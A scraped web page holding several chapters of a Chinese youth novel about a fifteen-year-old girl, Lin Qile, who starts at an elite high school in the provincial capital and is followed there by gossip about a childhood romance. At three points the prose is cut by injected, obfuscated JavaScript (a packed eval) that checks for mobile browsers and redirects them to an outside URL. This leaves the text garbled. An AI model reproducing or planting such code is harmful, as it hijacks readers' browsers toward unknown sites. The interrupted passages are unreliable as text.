林其乐站在那道悬崖边,有细碎的小石子从她鞋底蹭下去了,远远地跌落下山崖。 向下看,是幽深黑暗的山谷。向前望去,是林其乐这么多年从未到达过的,山崖的彼端。 林其乐十五岁了,她仰起头,向上望。 她踩着脚下厚厚的松针,感觉阳光透过了密林,照耀在她的脸上。 九岁那年,林其乐在这里郑重告诉她的小伙伴们:“如果我们下定了决心,鼓起勇气跳下去了,就会有翅膀从我们背后长出来,我们就可以飞了!” 林其乐瞧着悬崖对面那条小路,她独自一人转过了身,沿着这条山路朝山下走去。群山工地马上就要开始最后的拆迁,林其乐想折一支向日葵,跟她一起去省城。 24. 第 24 章 2005年8月,林其乐坐在省城出租车的后座,听的哥与爸爸妈妈寒暄。 “你们是电力企业的啊?”司机感叹道,“我听说电力企业的都特别有钱!” 林电工面色尴尬,笑了笑:“我们只是工人。” 在林其乐印象里,小时候大家都住平房,还没有那么强烈地感受到人分三六九等。 的哥在总部小区门口停了车,林其乐下车来,听到爸爸说:“余樵和蔡方元家都住在西区,杜尚跟咱们家住东区。” 林其乐背上了书包,抱起手里的万年青和向日葵,她抬起头,看四面的高楼,看小的时候,哥哥姐姐们口中曾无数次提起过的“省城总部小区”。 搬家公司早已把家具安顿好了。林其乐走进自己家里,十五岁这一年,她终于也拥有了一间只属于自己的,而不是用大衣柜和爸爸妈妈隔开的小卧室了。 中午,杜尚和余樵两人过来了,他们在家吃过了饭,正好帮林叔叔搬几只箱子。到下午,秦野云提着她爸送的一盒干货过来了。 阔别三年,林其乐再见到秦野云,两个丫头都长大了,断不会再一见面就打起来。某种程度上,她两个的关系甚至比和余樵他们还亲近,这是性别在他们之间天然竖起的藩篱。 秦野云还烫了头发,穿着小背心、短裤和沙滩拖鞋进来。她手里把玩着林其乐从群山带过来的旧芭比娃娃,纳闷道:“林樱桃,你这个脑子是怎么考上实验省招生的?” 林其乐把自己行李收拾得差不多了,她理直气壮道:“这说明我其实很聪明!” “得了吧,”秦野云阴阳怪气笑起来,揶揄她,“你可别告诉我是爱情的力量,就蒋峤西那人——” 杜尚从外面忙完,端了一筐娟子阿姨刚蒸好的枣面馒头进来。一听秦野云这句话,他差点没背过气去,不住咳嗽。 “咳个屁啊,”秦野云回头瞪住他,“吓我一跳!” 蔡经理给林电工打电话:“林海风,你怎么还没把闺女弄过来?” 林电工拿着手里的摩托罗拉手机,笑道:“来了来了。樱桃!你蔡叔叔和你说话!” 蔡经理眼下人不在省城,他又去了新的工地,去新的项目部担任经理。他在电话中说:“樱桃,让蔡方元明天带你去海洋馆玩玩。都快开学了才来,对高中的课程了解过没有啊?之前你余叔叔还找我商量,说给你弄个借读生名额,结果你倒好,考上省招了!不错,从你小的时候叔叔就看出你这个脑袋瓜子聪明,不然怎么挑上‘泰山旅游’了——” 林其乐小时候和余樵他们在群山玩,总要牵着谁的手。可现在他们长大了。 每个人强烈的性别特征让林其乐意识到,她不可能再随便牵着哪个男孩子的手出门了。 蔡经理的司机开私家车,到林其乐家楼下接她去海洋馆。余樵他们都在车里坐着了,蔡方元也在。他坐在副驾驶,人还是胖胖的,但不像小时候像个柔软的球体,他长高了,胳膊上的肉也硬实不少。 蔡方元兜里揣着手机,还有个林其乐从没见过的东西。杜尚坐后座,问蔡方元借过来听,他告诉林其乐,这叫“iPod mini”。 一只耳机被塞到林其乐耳朵里,女歌手正在里面唱歌。 “就是 MP3 ?”林其乐问。 蔡方元这时回头说:“林樱桃,蒋峤西今天来不了啊!” 杜尚抬头说:“你老提他干嘛?也没指望他来啊!” 蔡方元说:“他一暑假都被他爸妈安排着学数学竞赛,哪儿都去不了。”又说,“我这不是跟林樱桃说一声嘛!” 林樱桃坐在后座,专心听歌,也不讲话。其实她也想说,不要总和她说这些事了。 林樱桃十五岁。乍一来到大城市,进入全省数一数二的高中读书,她应该很快就可以把蒋峤西忘记了。毕竟她的年纪还小,总会不断遇到新的喜欢的人。 在海洋馆看企鹅的时候,观众太多,林樱桃又看得专注,等回过神来,已经找不到身边的人了。 好在余樵个子高,在哪里看着都明显。 林樱桃在人群中跳着叫他,余樵听见了,转过身来抓住林樱桃的手,叫她别乱跑。 “逛个海洋馆都能迷路,就这还去南校住校。”余樵说。 林樱桃噘了噘嘴,这完全是不自觉的反应。她说:“我自己在群山的时候也没迷路。” 余樵说:“那看来你只在身边有人的时候才会迷路。” 林樱桃说,不是这样的。 “身边没有人的话,我就可以自己沿着路牌走出去了,”林樱桃望见了海洋馆出口处等待着的蔡方元他们,她对余樵说,“不过我不喜欢自己走。” 她话说到这里,感觉余樵忽而放开了她的手,余樵伸手揉了一把她的头发。 临开学前,余班长来到了林家,为林其乐介绍一位新同学。 她是个女孩,叫辛婷婷,也是电建公司的子弟,之前一直生活在莱水工地,是今年才搬家来到省城总部的。 几天以后,她也将和林其乐一样,去实验高中南校区报到。 “余樵他们几个男孩子都在本校走读,不然有事还能让他帮帮你们,”余班长对两个小姑娘说,“院里去南校住校的就你们两个,要做好朋友,互相帮助。” 辛婷婷一看就是乖乖女,学习好,也听父母的话,她的家教比林其乐想象得还要严格些。给她可乐也不喝,虾条也不吃。给她漫画她也不看,她说:“妈妈不让我看这些。” 林其乐找不着话题了,便问:你有喜欢的明星吗? 辛婷婷努了努嘴,也有点怕似的摇头了。 林其乐没有对旁的人提起,她觉得辛婷婷接受的家教让她想起了蒋峤西。 她难免有些同情她。 八月中旬,省实验高中05级高一新生正式入学了,他们要接受一系列的入学考试,分班,然后便是最最难熬的军训。 林其乐被分到了南校区29班,巧的是辛婷婷也分到29班,只可惜她们不在同间宿舍,不然林电工可能还会更放心一些。 从军训开始,林其乐就在心里不断刷新着对于辛婷婷其人的印象。 “报告教官,我、我有点头晕……” “教官,我可以去一趟卫生间吗,我那个、那个……” “报告教官,我的鞋带开了……” 一得到允许,辛婷婷便蹲下身系鞋带,才系了一半,她忽然身体一歪,软软地就栽倒在地。接下来的整个下午,她都获准回寝室休息。 林其乐每天迎着烈日的暴晒,看到班上装病跑路的女孩子越来越多。辛婷婷如此擅长的事情,林其乐却不得要领,她只在小学时代擅长逃课,说谎还常会被人识破。 辛婷婷长得乖巧听话,头发高高扎成一个马尾,束在脑后,说话也柔声细气的。 “其乐,”她在学生食堂吃中饭的时候,对林其乐说,“你要先蹲下了,把重心放低一些,再摔倒,这样就不会太疼了。” 她到底是怎么成了这方面的专家?说谎时脸不红心不跳,一个优等生,叫人看不出任何破绽。 第二天,就在辛婷婷再一次跑路成功,回过头,站在教官背后对林其乐使眼色的时候,林其乐终于也鼓起勇气,把手举起来了。 她还没把“报告教官”四个字说出口,就听到教官在队伍另一侧骂同班的男生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林其乐眼见她的口红被新室友们争相拿在手里看,她们说,这标志,这就是香奈儿啊。 “其乐!”一位室友问,“你不是乡……你不是省招生吗?你怎么会有这个?” “你在哪里买的啊?” 林其乐被她们围起来问,只好回答说:“不是我买的,是别人送的——” “我想涂!其乐,借我涂一下!”室友说着,就回头去找自己的镜子了。 “我也要涂!” 这支根本没有涂过几次的口红,在林其乐手里纯属摆设,她觉得自己应当合群一点,才把它拿出来,可她没想到室友们真的要涂。林其乐这时后知后觉,站起来:“可、可能已经过期了——” 毕竟已经是四年前收到的生日礼物了。 “过期了也是香奈儿啊!”女生们哀号道。 在十五岁的年纪,“某某女生有一支香奈儿口红”这么一件事,也很快会在寝室之间火速传遍了。辛婷婷去教室的路上也好奇地问林其乐:“怎么会有人送你香奈儿口红?” 林其乐摇了摇头,大约她也不知道为什么。 “是男生送的?”辛婷婷八卦道。 一到了住校的地方,离开了父母,辛婷婷似乎就变得活泼多了。 林其乐“嗯”了一声。 “真奇怪,”辛婷婷笑了,“我以前上初中的时候,只见过有男生送女生小挂坠,或是发卡、手表什么的,还是第一次听说有送口红的,这不是大人的礼物吗……” 班里已经坐满同学。幸好有辛婷婷在,才让林其乐不至于像当初在群山一中时那样孤单。她看着周围同学们一个个上台做自我介绍,好几次,她听到台上人说,他们是来自“省实验附中”的学生,很高兴能升上直属高中。 林其乐不自觉把头埋得越来越低了,直到班主任在台上叫她的名字。 林其乐只好硬着头皮走上去。 她手在身后攥着,又放开了。她抬起头,对全班同学说:“我来自风景美丽的群山市,我叫林其乐。” 25. 第 25 章 班主任讲:“群山那个地方是风景挺好,就是地震多一点。不过这几年好像没听说了。” 办公室里,来来去去是实验南校负责带新一届高一的老师们。 林其乐站在班主任面前,两只手背到身后,像个好学生。 不对,不是像。 她如今是实验省招生,她就是好学生。 “群山?”隔壁班的班主任从桌前抬起头来,又看了林其乐一眼,“那个地方是成天地震啊!” 老师们攀谈着,说,群山之所以为“群山”,是板块挤压,群山隆起,自然就地震多发了。又说,群山之所以这么多年发展不起来,就是因为当年老是震,把好多山都震塌陷了,把人都震跑了,当地连电厂都建不起来。 林其乐忽然想起了那道横亘在她童年中的山崖。 “真有十几年没震过啦?”班主任问了另一位老师,他放下茶缸子,对林其乐说,“那你们这一代孩子很幸福嘛!” 班主任问,你来了省城这边,有什么不适应的吗?林其乐说没有。 “爸爸妈妈都在群山,也放心你自己过来?” “他们都搬到省城来了。”林其乐老实说。 班主任一愣:“搬过来了?” “群山的电厂建完了,他们就调过来了。”林其乐讲。 周围几位班主任不约而同又抬起头,朝林其乐的方向看了一眼。 “干电力的啊?”班主任笑道,“那你……高二想选文科,还是理科啊?” “理科。”林其乐说。 “文科成绩这么好,选理科啊?”班主任想了想,说,“你是,高二想回本校走读?” 林其乐点点头。 班主任这下沉默了。 “南校嘛,有南校的好。校园封闭,更适合学生专心学习,”班主任拿过茶杯,又抿了一口,“而且呢,离爸妈远一点,在你们这青春期的时候,烦心事也就少一点。” 林其乐笑了:“我喜欢和爸爸妈妈住一块儿。” 从办公室出来,林其乐发现有个男生在走廊里等她。 他戴眼镜,手拿一摞表格,身穿军训迷彩服,皮肤晒得极黑,有些轻微驼背。 “林其乐同学你好,”他过来自我介绍,笑着露出一排白牙,“我是咱们29班的班长,我叫冯乐天。” 林其乐说:“班长你好!” 两个新生沿着走廊,往外面走。冯乐天说:“其实我、我这几天看见你,总觉得你有点眼熟……林其乐,连这个名字也像在哪儿听过似的……” 林其乐问:“你是从省实验附中毕业的吗?” “对啊,你怎么知道?”冯乐天道,反应过来,“哦对,我班会的时候自我介绍来着。” “林同学,你是省招生,老师让我多帮助你,”临分别时,冯乐天笑道,“有什么事情你可以给我发短信!” 辛婷婷隔两天军训的时候过来问,其乐,你和咱们那个冯班长熟吗? 林其乐鼓着脸颊,正喝水,她摇头。 “我听说啊,”辛婷婷凑过来,把手贴到林其乐耳边,捂着八卦道,“他在男生寝室夜谈会上说他喜欢你!” 林其乐弯下腰,差点把嘴里的水吐出来。 军训结束,高一的生活就这么平平淡淡地开始了。林其乐每天早晨六点起床,胡乱叠了被子,拿着牙杯睡眼惺忪去洗漱间刷牙,她对着镜子抓一把头发,梳起一根马尾,穿上蓝白色条的校服,很快,她就混入到了实验所有学子之中,难以被辨认出来了。 林其乐发现一件事:并没有人会清晰地记得你,说到底,那只是你一个人的噩梦。 这噩梦在别人耳边就像风。 两年过去,没有人还会记得“林其乐”这个曾经出过大糗的名字,没有人记得“群山一中”。 早读,上课,晚自习……作业、试卷、堆成山的辅导书……这就是林其乐所经历的最最普通的高中生活,和所有小说、漫画、电视剧里演的浪漫情节都不一样。生物实验课后,林其乐和辛婷婷站在池子边洗手,冯乐天班长兴冲冲过来了,和她们一块儿洗。有男生在旁边起哄,辛婷婷也用水泼他:“你离我们远点儿!” 林其乐在旁边看着他们一群人瞎闹,也跟着乐。 辛婷婷不高兴道:“这些人起什么哄啊,真烦……” 从实验室出来,他们要回教学楼去上下一节英语课了。林其乐英语一向不好,她低头着急在路上走,是堵在前面的同学把她挡住了。 “哎!是蒋峤西!”冯乐天突然在她们身边说,他指着远方的学校表彰栏,像指一只天上的风筝,一片海市蜃楼,他转头对林其乐兴奋道,“林同学,你看咱们年级第一,那是我初中同班同学蒋峤西!” “人家拿第一,有冯班长什么事儿啊。”旁人笑道。 冯乐天嘟囔:“我替我同学骄傲不行啊!” 学校表彰栏一个季度一换,新一届实验高一,挂在最上面的是中考状元蒋峤西。 有女同学凑到前面,拿手机对着蒋峤西的照片直拍。快拍快拍,旁人催促她,老师一会儿来了。 “辛婷婷,”有女生问,“你真和蒋峤西住同一个小区?” “对啊!”连辛婷婷也骄傲起来,“他是我们电建集团的子弟!” 另外的女生说:“其乐,那上面也有你的名字!” “我?”林其乐后知后觉。 同学们把她拉过去,到了表彰栏跟前。上面几名学生有照片,下面表彰的学生只有一行姓名小字。同学拿手一指,只见距离蒋峤西半米不到的地方,写着:高一29班,林其乐(省招,群山)。 “不是都说蒋峤西额头上有道疤吗,照片里怎么没有啊?” “额头有疤?他是哈利波特啊。” “不是,是她们从岑小蔓嘴里问出来的,蒋峤西额头上有道小疤,很小很小,哦,好像被头发挡住了——” 有同学走过来:“其乐,我帮你拍张照片吧!”她拿手机对准提到林其乐的那行字拍了一张。“你有手机吗,回头我发彩信给你!” “我怎么问得到蒋峤西的手机号啊,根本不可能!” “你问问嘛!你再和本校的打听打听!” “他很少用手机,每天就是学习!” 林其乐要走了,她要赶紧去看一眼下节课要学的英语课文,省得被老师叫起来又不会读。 “他要是用手机,不成天被烦死……以前喜欢他的人就很多,我们上初中的时候,他经常收情书的,他去学竞赛的时候不在学校,费林格就经常拆来看!” “蒋峤西以前在乡下一个叫什么山的地方,读过几年书,你们记得吗,当时还有个女的从乡下追过来了,追到我们学校门口,专门来找他的!” “哦,对!有的!叫什么…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236604|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群、群山?” “对!群山!” “其乐!”身后突然有人叫道,“你是哪里人啊?” “其乐就是群山人吧!其乐你听说过吗,你们那儿有个女的,跑到省城来找我们学校的人。” 林其乐转过身,她在辛婷婷略显尴尬的眼神中摇头了。 “哦,”几个同学失落道,“也对,其乐你学习这么好,肯定没听说过。” 林其乐学习更加用功了,这好像是不自觉的,也许她想证明什么,也许她想遗忘什么。南校的生活五彩斑斓,各种社团活动层出不穷,林其乐有时会站在门边看上一会儿,她也向往,也羡慕,但最终还是没去参加。她每天早晨六点起床,夜里十点睡觉,平时除了吃饭就是刷题做卷子,她精力旺盛,连午休习惯都逐渐改掉。到最后,愣是连各科老师都没有更多的题目能给她做了:哪有高一学生一上来就这么拼命的? 第一学期的期中考试,林其乐在被老师叫到名字的时候站起来了,她考了全年级三十六名,南校区第十名,是谁都不曾想过的好成绩。 班主任说,学校每年都在招收省招生,但来到实验的环境,很多外地学生适应不了,无论是相比之下不再那么优越的名次,还是实验高中的“太多诱惑”。“能从高一第一学期就这样用功,得到这个成绩是应该的!” 下了晚自习,林其乐抱着作业回寝室。路上,冯乐天班长跑过来了,他说:“林其乐同学,你高二要去本校吗?” 林其乐一愣:“你怎么知道?” 冯乐天挠了挠头,苦笑道:“我、我也是听说的,我先回去了,再见!” 林其乐回到女生寝室楼,一推开寝室门,看到屋里围坐了好多人。 除去她的室友,还有不少其他寝室的女生,她们正聚在一起聊得热火朝天,林其乐桌上那只很旧的芭比娃娃被其中一个人拿在手里把玩。原本很热闹的,林其乐一进来,全安静了。 场面有些诡异。 “其乐,”舍长第一个开口问,“你高二要回本校吗?” 林其乐点头,她走回到自己桌前,放下书,拉开抽屉,拿出手机,她不知道为什么大家忽然之间都问她这个问题。 林电工白天时给林其乐发了一条彩信。原来家里买汽车了,是辆桑塔纳,是林电工和余班长一起去提的车。林电工刚拿到驾照不久,他坐在新车里手握方向盘,这么笑着拍了张照片。 “樱桃,下次爸爸和余叔叔一起去南校接你。” 林其乐靠在寝室外面的走廊窗边,低头仔仔细细看这张照片。 她回道:“新车好好看啊!我要坐!” 又发了一条:“爸爸,我期中考试考得可好了,考了全年级三十六名!” 她怕她会哭,还是不给爸爸打电话了。 林其乐想回寝室,去拿牙杯洗漱。 “你们知道是怎么回事吗?”就听门里说,“是费林格先发现的!费林格考了全年级三十七,正好在林其乐下面!他一眼就认出来了!” “不可能吧……真是她?妈呀,我一直只听说有这么个人,我没想到是她啊……” “我们上次问她来着,是不是有个人追蒋峤西追到这儿来,她说她不知道!” “我的天,她也太执迷不悟了吧!她高二要去本校找蒋峤西吗?哎你不是有岑小蔓手机号吗,你发个短信问问啊!问蒋峤西知不知道!” 26. 第 26 章 杜尚睡着觉,听到手机响,还以为又是班长催他要给周笔畅还是谁的投票了。不对啊,他又想,不都比完了吗? 杜尚拿起手机一看,赶忙把床头灯拧开了。 “樱桃?”他吃惊道,掀起被子,看墙上的表,“你怎么这时候给我打电话?” 林樱桃在电话里一声不吭的,好像不太高兴。深更半夜,林樱桃远在南校区住校,这让杜尚很无措。 “樱桃?”杜尚试探着问,也只能听到很轻很轻的呼吸声。 “杜尚。”林樱桃小声道。 “你在哪儿呢?”杜尚问。 “在宿舍里。”林樱桃说。 杜尚觉得奇怪,这么晚在宿舍打电话,其他人睡觉不会被影响吗? 不过听着也不像有其他人在的样子。 杜尚说:“樱桃,找我有事吗?” 林樱桃没吭声。 “我今天看成绩单了,你这次期中考试怎么考这么好啊!”杜尚忽然抬高音调道。 林樱桃说:“是不是考得很好啊,我每天都学好久!” 杜尚听她这么说,稍微松口气。 “不是我说,你考得也太好了吧!”杜尚夸张道,“余樵才考了年级两百来名呢!虽然他高一光打球了,但学习也很认真啊。实验的牛人真是太多了!全年级一千多个人,你到底是怎么考到三十多名的?” 林樱桃说:“高一题简单呗……你要是每天刷题,你也能考好。” 杜尚笑道:“蔡方元今天还说让你高二来帮我们写作业!” 林樱桃说:“我才不给他写呢!” “就是!”杜尚说,“不给他写!借我抄抄就成了。” 杜尚在电话里越说越高兴了。余樵揉着眼,从外头推开门,他半夜睡醒,听见杜尚在余锦屋里不好好睡觉,在那傻嗨。 杜尚冲他指了指手机,比了个口型:樱桃给我打电话! “樱桃,南校区怎么样啊,”杜尚问,生怕话断了,“食堂的饭好吃吗?比咱们群山工地的食堂——” “杜尚。”樱桃突然叫他。 “怎么了?”杜尚的心一揪。 “我想爸爸妈妈了……”樱桃的声调变了。 杜尚在夜里,手握着他的诺基亚手机,他听到樱桃努力想压抑,又压抑不住的吸鼻子的动静。 杜尚轻声道:“樱桃啊,那个……” 余樵走过来,夺过杜尚的手机拿到耳边。 “喂?”他着急问,一急语气就容易显得凶巴巴的,“这么晚打什么电话?” 旁边杜尚赶紧说,樱桃哭了,你别呛她了! 林樱桃在电话里飞快吸鼻子,听到余樵的声音,她哽咽道:“你凶什么啊,我又不是给你打的。” 天还未亮,凌晨五点多钟,林其乐就睡醒了。她从床上坐起来,叠好被子,匆匆洗漱过了。她绑好头发,穿上校服,在舍友们的酣睡声中拿起水杯,抱着书离开了寝室。 寝室楼下有一小片花丛。林其乐披星戴月,走到附近,从口袋里摸吃的,她听到了稚嫩、娇弱的猫叫声,好像在等她。 2005年的寒假,林其乐再一次跟随爸爸妈妈去了北京。她给大姑一家人看她的期末成绩单,还有学校发下来的奖状。 大姑喜不自胜,把林其乐穿着蓝白色实验高中校服,手拿奖状的表彰照片,小心仔细塞到全家福的相框缝里。她这么看着,手忍不住把侄女樱桃搂过来。“樱桃哦,”她叹息道,“怎么这么有出息,这么厉害啊……” 林樱桃跟着表哥一家人,带爸爸妈妈一起,坐大巴车跑去爬长城。数林樱桃跑得最快,她在前面,给全家人当“引路先锋”。林樱桃坐在照相机前,穿她小时候最爱看的《还珠格格》里的格格服,戴沉得要命的大旗头,她睁着俩大眼睛,拍傻里傻气的游客照片。 大姑的工作单位中秋节时发了游泳体验票,是什么五星级大酒店的,一共就两张。大姑自己不舍得用,隔了小半年才拿出来。林其乐大冬天的,和表哥一起穿着羽绒服,抱着泳衣,坐上公交车,横跨北京城奔去那家叫兰庄的高级酒店游泳。 “樱桃!”表哥激动道,北京二月,冻得人鼻头通红,一直淌鼻水,“咱们也是去过五星级大饭店的人了!” 巷子里,有小商贩抄着手,在路边卖盗版光盘。林其乐游完泳回来,在人家摊子跟前看了好一会儿,什么碟都有。 “小姑娘,想买点什么啊?”那小贩看她,“台湾偶像剧,最适合你们这样小孩看!” “有什么啊?”林其乐模仿起他那口京片子。 那小贩嘴里叼着烟,笑道:“流星花园,王子这个,变青蛙,还有——” 林其乐从裤兜里摸钱,她没带多少钱,凑合数了数:“这个,你把这卖给我吧!” 小贩瞅了一眼林其乐手里几张钱:“你要哪个?《恶作剧之吻》?不行,这要三十!三十!不成!……我跟你说,要不是看这天儿太冷。” 从北京回来,距离开学已不到十天了。辛婷婷每天都来林其乐家学习——像林其乐这样的优等生,辛妈妈如今巴不得自己女儿和她多接触,多靠拢,一鼓作气也考进全年级前一百才好。 卧室门关上了,两个小女生丢了书包,坐在电脑屏幕前,一边吃刚蒸好的枣面甜馒头,一边津津有味看入江直树——哦不,是台湾学生江直树,和袁湘琴早恋。 “其乐。” “嗯?”林其乐应道。 “你早恋过吗?” 林其乐一愣,她摇头。 辛婷婷转过脸看她。 “真没有?”辛婷婷问。 林其乐说:“我骗你干什么。” 十六岁,一个属于“开窍”的年岁。花苞伸展,花蕊初绽,圆润的茧破开了,蝴蝶翅膀分外绚丽,颤抖着探了出来。林其乐把妈妈桌上的化妆品抱到辛婷婷面前,她每盒都打开,让辛婷婷每个都尝试。两个小女孩格外兴奋。辛婷婷告诉林其乐,她很久以前在莱水工地听说过:总部蒋经理的儿子在群山工地,和林海风林工的女儿早恋,被家长提前带回省城去了。“我还以为是真的呢!”辛婷婷不好意思地笑道。 林其乐看着她,也不说话。辛婷婷小心翼翼对镜涂口红,忐忑问:“口红是这么涂吗?” 林其乐忍不住也笑了:辛婷婷连大人的名字都能记得,看着也像个小大人,可她在家连妈妈的口红都没有涂过。“我来给你涂。”林其乐把手伸过去了。 开学后,林其乐因为上学期成绩优异,被班主任指名担任班里的学习委员。 当别的同学嘻嘻哈哈在楼下打闹的时候,林其乐在楼上埋头做数学题,当别的同学三五聚在一起热聊电视综艺的时候,她在戴着耳机默背英语。这份投入换来了许多平静。 周杰伦的专辑出到第六张,林其乐爱听的还只有《范特西》里那么几首歌。四月初的周末,林电工开着那辆桑塔纳,来接樱桃和辛婷婷回家。 车里正放一首欢快的流行歌,男歌手唱着:萨瓦迪卡! “爸爸,你买了周杰伦的新磁带?”林其乐好奇问。 “对啊,”林电工在前头笑道,“樱桃今天十六岁啦!” 辛婷婷惊讶道:“其乐你过生日啊?” 林其乐后知后觉,才意识到,今天四月九号了。 林电工边开车边说:“余樵和杜尚他们给你订了个大蛋糕,不过好像是蔡方元出的钱。樱桃一会儿要好好谢谢小朋友们……” 辛婷婷偷偷对林其乐说:“你爸好像总把你当小孩似的,还‘小朋友们’!” 也许是发现林其乐这个厚脸皮对于所谓的“群山”“乡下”“情书”“来省城追蒋峤西”等传言没什么反应,周围同学们起哄了一阵子,慢慢地也就没人提起了。 当然,也可能只是碍于她学习委员的身份,不再当面提而已。 六月初,冯乐天班长也许是鼓起了勇气,终于又开始找林其乐搭话了。 “林同学!”中午一放学,楼上楼下学生都往食堂疯狂冲刺,冯乐天却追到林其乐身边来。 这学期,冯乐天报名参加了学校的奥数竞赛班。每月两次轮考,连续不及格的学生会被直接筛下去。考核制度之严酷,与实验高中宽松自由的校园氛围格格不入。 “我这次又考了倒数……”冯班长拿着他的饭盒,在食堂队伍里挨着林其乐站,“如果我下次考试没被筛下去,高二我可能也会去本校,到时候就去找你一块儿学习!” 林其乐抬头问:“奥数真有这么难吗?” 冯乐天苦笑起来,挠了挠头:“对天才不难啊……对我们这种普通人……” 队伍往前进,冯乐天时不时帮林其乐挡一下,因为有些学生端餐盘不小心,总撞到人身上,溅一身菜汁。 “你……你应该认识蒋峤西吧。”冯乐天小声说。 林其乐觉得冯班长是个好人,在南校,对她这样友好热情的人已经很少了。她点头。 “我跟他是一个初中的,一起上过竞赛班,”冯乐天说,“上初中的时候我们老师就常说,蒋峤西的水平可以直接去参加高中联赛了。” “他应该高一就会参加预赛,然后高二参加联赛,直接拿国际金牌,就保送清华北大了。” 冯乐天把打好的饭放在餐桌上,他听父母的话,一直规规矩矩用自带的碗筷吃饭。 林其乐端着餐盘在他对面坐下,也不理会周遭那些起哄的杂音。林其乐生硬地说:“哇,他好厉害。” 冯乐天试探道:“林同学,你和蒋峤西……” 林其乐说:“我和他做过两年小学同学,后来就不认识了。” 冯乐天一愣:“哦……” 六月末,林其乐正专心准备期末考试,学校表彰栏里果然传出消息。 2006年全国高中数学联赛省内初赛成绩揭晓,省实验高中百余名同学通过选拔,正式进入复赛。其中,高一21班学生蒋峤西、高二5班学生王澍然等十一人获得省一等奖。 七月中旬,电建公司“老群山基地”的几个家庭聚到一起,在总部小区附近一家酒楼订了个包间。正巧蔡岳蔡经理结束了手头的工地项目,短暂调回了省城,而蒋政蒋经理也正式升任集团二把手,多的是事情可以庆祝。 蔡经理站起来,第一个举杯:“今天呢,咱们几个老朋友家庭都聚在一块儿,给当年的群山小财神,啊?林樱桃!开一个欢迎会!樱桃下学期回家住了,你们几个小朋友,对不对,又一块儿作伴了。还有就是……这个余樵,啊,在学校当选了这个VIP!” “MVP!”蔡方元坐旁边纠正道,嫌弃他爹,“还MP3呢……” “还有杜尚,是吧,今天也一块儿表扬,”蔡经理大事做惯,不拘小节,接着讲,“在咱们总部建行门口,捡了个两万块钱的钱包啊!拾金不昧!这是咱们群山工地第一个登上报纸的孩子,都知道是咱们电建出来的!” 林其乐坐在杜尚旁边儿,嘿嘿直乐,和余樵一起起哄鼓掌。 杜尚怪不好意思的,他问:“樱桃你那小猫呢?” 林其乐这才发现光顾着鼓掌,怀里猫跑了,她赶忙掀起桌布到下面去找。 “最后是这个,犬子蔡方元,”蔡叔叔脚上穿着双锃亮的皮鞋,桌布底下数他的鞋最显眼,“在省里的,这个中学生计算机大赛里,获得了一点微不足道的成绩。有点天赋!但是不能骄傲!” 林其乐趴在桌下,小声说:“咪咪……咪咪!”她试着学猫叫:“喵喵!” 蔡经理的发言接近尾声了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236605|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时他突然想起来。“哦对,差点忘了啊,还有个大奖啊!咱们这个,蒋经理家的公子,蒋峤西,总部有名的大才子!全省奥林匹克数学竞赛一等奖!蒋经理,你这到底是什么福气,生了这么一个天降文曲星啊!” 蒋经理笑着摆手,但看得出来,他心情还是不错的。 林电工问:“峤西呢,怎么没过来?” 蒋经理对老邻居说:“上他那个奥数班去了。” “还上?”余班长在对面问。 四年了,蒋经理家孩子这个奥数班上得是风雨兼程。 “不是都考完了吗?”余班长说。 “余叔叔,那是初赛,”蔡方元在旁边解释道,“九月他还得接着考复赛。” “还有复赛?”余班长剥了个花生,“方元你怎么没考啊,你不是也一块儿学吗?” 蔡方元连忙摆手,赶紧撇清:“拉倒吧,谁高一考去啊!我们都高二才考,高二都不一定能考上!” “那时间还挺紧张,”林电工坐在蒋经理身边,说,“整个暑假又得去学了?” “让他学去吧,”蒋经理嘴上还笑着,眉头却皱起来了,酒杯和蔡岳一碰,他已经喝上了,“来几位老朋友,咱们喝一个!” 大人们在桌上喝酒,小孩们放了暑假,也终于可以放开玩儿了。林其乐将要回本校念书,高一升高二,昔日“小四|人帮”全选了理科,说不定还真能分到同一班去。 蔡方元在桌子底下玩PSP,林其乐搂着猫坐在旁边看。蔡方元说:“没玩儿过吧。” “没有。”林其乐摇头。 蔡方元按着游戏机,转头瞥了林其乐一眼。 他记得在群山上小学的时候,林其乐爱穿花裙子,爱穿红色小皮鞋,她爱打扮,小小年纪每天换头花,特臭美,爱显摆。 怎么长大来了省城,反倒开始穿宽大的运动服,头发清汤挂面似的,随便一扎,出门连个发卡都不戴了。 “林樱桃,我看你在南校快变成土老帽儿了。”蔡方元说。 林其乐皱眉瞪他,那大眼睛一瞪人颇有威严。 蔡方元笑了,低头玩着游戏,突然来了一句。 “蒋峤西说他下了课就来啊。” 蒋经理在桌上喝多了,在座的几位同僚,属他年纪最大。如果不是蒋梦初曾出过意外,他也不可能因为孩子,和这些比他小十岁有余的伙计们在同一张桌上叙旧。“不省心,没有省心的,”蒋经理听蔡岳奉承了一整晚,才说,“我那个孩子,你看着他听话,上初中的时候,”他喝得脸颊通红,眼睛半睁着,都是醉意,压低了声音,“早恋。” 